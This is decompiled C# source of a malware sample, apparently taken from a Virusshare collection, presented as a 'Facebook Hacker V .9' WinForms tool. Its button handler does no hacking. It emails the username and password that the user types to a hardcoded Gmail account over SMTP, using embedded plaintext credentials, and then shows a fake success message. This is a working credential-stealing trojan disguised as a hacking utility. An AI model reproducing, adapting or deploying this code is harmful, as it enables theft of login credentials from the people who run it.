// Decompiled with JetBrains decompiler
// Type: Facebook_Hacker_V._9.Form1
// Assembly: Facebook_Hacker_V._9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: CFD63BAC-76DE-4D07-BDC2-B460826D976D
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Net;
using System.Net.Mail;
using System.Runtime.CompilerServices;
using System.Windows.Forms;

namespace Facebook_Hacker_V._9
{
  [DesignerGenerated]
  public class Form1 : Form
  {
    private static List<WeakReference> __ENCList = new List<WeakReference>();
    private IContainer components;
    [AccessedThroughProperty("PictureBox1")]
    private PictureBox _PictureBox1;
    [AccessedThroughProperty("Label1")]
    private Label _Label1;
    [AccessedThroughProperty("TextBox1")]
    private TextBox _TextBox1;
    [AccessedThroughProperty("Label2")]
    private Label _Label2;
    [AccessedThroughProperty("TextBox2")]
    private TextBox _TextBox2;
    [AccessedThroughProperty("Label3")]
    private Label _Label3;
    [AccessedThroughProperty("TextBox3")]
    private TextBox _TextBox3;
    [AccessedThroughProperty("Label4")]
    private Label _Label4;
    [AccessedThroughProperty("Button1")]
    private Button _Button1;
    [AccessedThroughProperty("ProgressBar1")]
    private ProgressBar _ProgressBar1;
    [AccessedThroughProperty("Timer1")]
    private System.Windows.Forms.Timer _Timer1;

    [DebuggerNonUserCode]
    static Form1()
    {
    }

    [DebuggerNonUserCode]
    public Form1()
    {
      Form1.__ENCAddToList((object) this);
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    private static void __ENCAddToList(object value)
    {
      lock (Form1.__ENCList)
      {
        if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
        {
          int index1 = 0;
          int num = checked (Form1.__ENCList.Count - 1);
          int index2 = 0;
          while (index2 <= num)
          {
            if (Form1.__ENCList[index2].IsAlive)
            {
              if (index2 != index1)
                Form1.__ENCList[index1] = Form1.__ENCList[index2];
              checked { ++index1; }
            }
            checked { ++index2; }
          }
          Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
          Form1.__ENCList.Capacity = Form1.__ENCList.Count;
        }
        Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
      }
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.components = (IContainer) new System.ComponentModel.Container();
      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
      this.PictureBox1 = new PictureBox();
      this.Label1 = new Label();
      this.TextBox1 = new TextBox();
      this.Label2 = new Label();
      this.TextBox2 = new TextBox();
      this.Label3 = new Label();
      this.TextBox3 = new TextBox();
      this.Label4 = new Label();
      this.Button1 = new Button();
      this.ProgressBar1 = new ProgressBar();
      this.Timer1 = new System.Windows.Forms.Timer(this.components);
      ((ISupportInitialize) this.PictureBox1).BeginInit();
      this.SuspendLayout();
      this.PictureBox1.BackgroundImage = (Image) Facebook_Hacker_V._9.My.Resources.Resources.FaceBook_256x256;
      this.PictureBox1.ErrorImage = (Image) null;
      PictureBox pictureBox1_1 = this.PictureBox1;
      Point point1 = new Point(500, 1);
      Point point2 = point1;
      pictureBox1_1.Location = point2;
      this.PictureBox1.Name = "PictureBox1";
      PictureBox pictureBox1_2 = this.PictureBox1;
      Size size1 = new Size(250, 237);
      Size size2 = size1;
      pictureBox1_2.Size = size2;
      this.PictureBox1.TabIndex = 0;
      this.PictureBox1.TabStop = false;
      this.Label1.AutoSize = true;
      this.Label1.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
      this.Label1.ForeColor = SystemColors.Control;
      Label label1_1 = this.Label1;
      point1 = new Point(12, 82);
      Point point3 = point1;
      label1_1.Location = point3;
      this.Label1.Name = "Label1";
      Label label1_2 = this.Label1;
      size1 = new Size(83, 20);
      Size size3 = size1;
      label1_2.Size = size3;
      this.Label1.TabIndex = 1;
      this.Label1.Text = "Username";
      TextBox textBox1_1 = this.TextBox1;
      point1 = new Point(101, 84);
      Point point4 = point1;
      textBox1_1.Location = point4;
      this.TextBox1.Name = "TextBox1";
      TextBox textBox1_2 = this.TextBox1;
      size1 = new Size(149, 20);
      Size size4 = size1;
      textBox1_2.Size = size4;
      this.TextBox1.TabIndex = 2;
      this.Label2.AutoSize = true;
      this.Label2.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
      this.Label2.ForeColor = SystemColors.ControlLightLight;
      Label label2_1 = this.Label2;
      point1 = new Point(12, 113);
      Point point5 = point1;
      label2_1.Location = point5;
      this.Label2.Name = "Label2";
      Label label2_2 = this.Label2;
      size1 = new Size(78, 20);
      Size size5 = size1;
      label2_2.Size = size5;
      this.Label2.TabIndex = 3;
      this.Label2.Text = "Password";
      TextBox textBox2_1 = this.TextBox2;
      point1 = new Point(101, 115);
      Point point6 = point1;
      textBox2_1.Location = point6;
      this.TextBox2.Name = "TextBox2";
      this.TextBox2.PasswordChar = '*';
      TextBox textBox2_2 = this.TextBox2;
      size1 = new Size(149, 20);
      Size size6 = size1;
      textBox2_2.Size = size6;
      this.TextBox2.TabIndex = 4;
      this.Label3.AutoSize = true;
      this.Label3.Font = new Font("Microsoft Sans Serif", 21.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
      this.Label3.ForeColor = SystemColors.Control;
      Label label3_1 = this.Label3;
      point1 = new Point(10, 9);
      Point point7 = point1;
      label3_1.Location = point7;
      this.Label3.Name = "Label3";
      Label label3_2 = this.Label3;
      size1 = new Size(303, 33);
      Size size7 = size1;
      label3_2.Size = size7;
      this.Label3.TabIndex = 5;
      this.Label3.Text = "Facebook Hacker V .9";
      TextBox textBox3_1 = this.TextBox3;
      point1 = new Point(166, 177);
      Point point8 = point1;
      textBox3_1.Location = point8;
      this.TextBox3.Name = "TextBox3";
      TextBox textBox3_2 = this.TextBox3;
      size1 = new Size(169, 20);
      Size size8 = size1;
      textBox3_2.Size = size8;
      this.TextBox3.TabIndex = 6;
      this.Label4.AutoSize = true;
      this.Label4.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
      this.Label4.ForeColor = SystemColors.Control;
      Label label4_1 = this.Label4;
      point1 = new Point(198, 154);
      Point point9 = point1;
      label4_1.Location = point9;
      this.Label4.Name = "Label4";
      Label label4_2 = this.Label4;
      size1 = new Size(100, 20);
      Size size9 = size1;
      label4_2.Size = size9;
      this.Label4.TabIndex = 7;
      this.Label4.Text = "Victim E-mail";
      this.Button1.Font = new Font("Microsoft Sans Serif", 15.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
      Button button1_1 = this.Button1;
      point1 = new Point(166, 203);
      Point point10 = point1;
      button1_1.Location = point10;
      this.Button1.Name = "Button1";
      Button button1_2 = this.Button1;
      size1 = new Size(169, 59);
      Size size10 = size1;
      button1_2.Size = size10;
      this.Button1.TabIndex = 8;
      this.Button1.Text = "HACK";
      this.Button1.UseVisualStyleBackColor = true;
      ProgressBar progressBar1_1 = this.ProgressBar1;
      point1 = new Point(16, 268);
      Point point11 = point1;
      progressBar1_1.Location = point11;
      this.ProgressBar1.Name = "ProgressBar1";
      ProgressBar progressBar1_2 = this.ProgressBar1;
      size1 = new Size(482, 40);
      Size size11 = size1;
      progressBar1_2.Size = size11;
      this.ProgressBar1.TabIndex = 9;
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.BackColor = SystemColors.ActiveCaptionText;
      size1 = new Size(749, 328);
      this.ClientSize = size1;
      this.Controls.Add((Control) this.ProgressBar1);
      this.Controls.Add((Control) this.Button1);
      this.Controls.Add((Control) this.Label4);
      this.Controls.Add((Control) this.TextBox3);
      this.Controls.Add((Control) this.Label3);
      this.Controls.Add((Control) this.TextBox2);
      this.Controls.Add((Control) this.Label2);
      this.Controls.Add((Control) this.TextBox1);
      this.Controls.Add((Control) this.Label1);
      this.Controls.Add((Control) this.PictureBox1);
      this.FormBorderStyle = FormBorderStyle.FixedSingle;
      this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
      this.MaximizeBox = false;
      this.Name = nameof (Form1);
      this.StartPosition = FormStartPosition.CenterScreen;
      this.Text = "Facebook Hacker V .9";
      ((ISupportInitialize) this.PictureBox1).EndInit();
      this.ResumeLayout(false);
      this.PerformLayout();
    }

    internal virtual PictureBox PictureBox1
    {
      [DebuggerNonUserCode] get => this._PictureBox1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
    }

    internal virtual Label Label1
    {
      [DebuggerNonUserCode] get => this._Label1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
    }

    internal virtual TextBox TextBox1
    {
      [DebuggerNonUserCode] get => this._TextBox1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
    }

    internal virtual Label Label2
    {
      [DebuggerNonUserCode] get => this._Label2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
    }

    internal virtual TextBox TextBox2
    {
      [DebuggerNonUserCode] get => this._TextBox2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value;
    }

    internal virtual Label Label3
    {
      [DebuggerNonUserCode] get => this._Label3;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value;
    }

    internal virtual TextBox TextBox3
    {
      [DebuggerNonUserCode] get => this._TextBox3;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value;
    }

    internal virtual Label Label4
    {
      [DebuggerNonUserCode] get => this._Label4;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
    }

    internal virtual Button Button1
    {
      [DebuggerNonUserCode] get => this._Button1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Button1_Click);
        if (this._Button1 != null)
          this._Button1.Click -= eventHandler;
        this._Button1 = value;
        if (this._Button1 == null)
          return;
        this._Button1.Click += eventHandler;
      }
    }

    internal virtual ProgressBar ProgressBar1
    {
      [DebuggerNonUserCode] get => this._ProgressBar1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar1 = value;
    }

    internal virtual System.Windows.Forms.Timer Timer1
    {
      [DebuggerNonUserCode] get => this._Timer1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
        if (this._Timer1 != null)
          this._Timer1.Tick -= eventHandler;
        this._Timer1 = value;
        if (this._Timer1 == null)
          return;
        this._Timer1.Tick += eventHandler;
      }
    }

    private void Timer1_Tick(object sender, EventArgs e)
    {
      this.ProgressBar1.Increment(1);
      if (this.ProgressBar1.Value != 100)
        ;
    }

    private void Button1_Click(object sender, EventArgs e)
    {
      if (Operators.CompareString(this.TextBox1.Text, "", false) == 0)
      {
        int num1 = (int) Interaction.MsgBox((object) "Username Is Missing");
        if (Operators.CompareString(this.TextBox2.Text, "", false) == 0)
        {
          int num2 = (int) Interaction.MsgBox((object) "Password Is Missing");
        }
      }
      SmtpClient smtpClient = new SmtpClient();
      MailMessage mailMessage = new MailMessage();
      smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential("todorovic.todorovic25@gmail.com", "todorovic");
      smtpClient.Port = 587;
      smtpClient.Host = "smtp.gmail.com";
      smtpClient.EnableSsl = true;
      smtpClient.Send(new MailMessage()
      {
        From = new MailAddress("todorovic.todorovic25@gmail.com"),
        To = {
          "todorovic.todorovic25@gmail.com"
        },
        Subject = "Username: " + this.TextBox1.Text,
        Body = "Username : " + this.TextBox1.Text + ", Password : " + this.TextBox2.Text
      });
      this.Timer1.Start();
      int num = (int) Interaction.MsgBox((object) "Successfully hacking, password is located in C/:Documents");
    }
  }
}
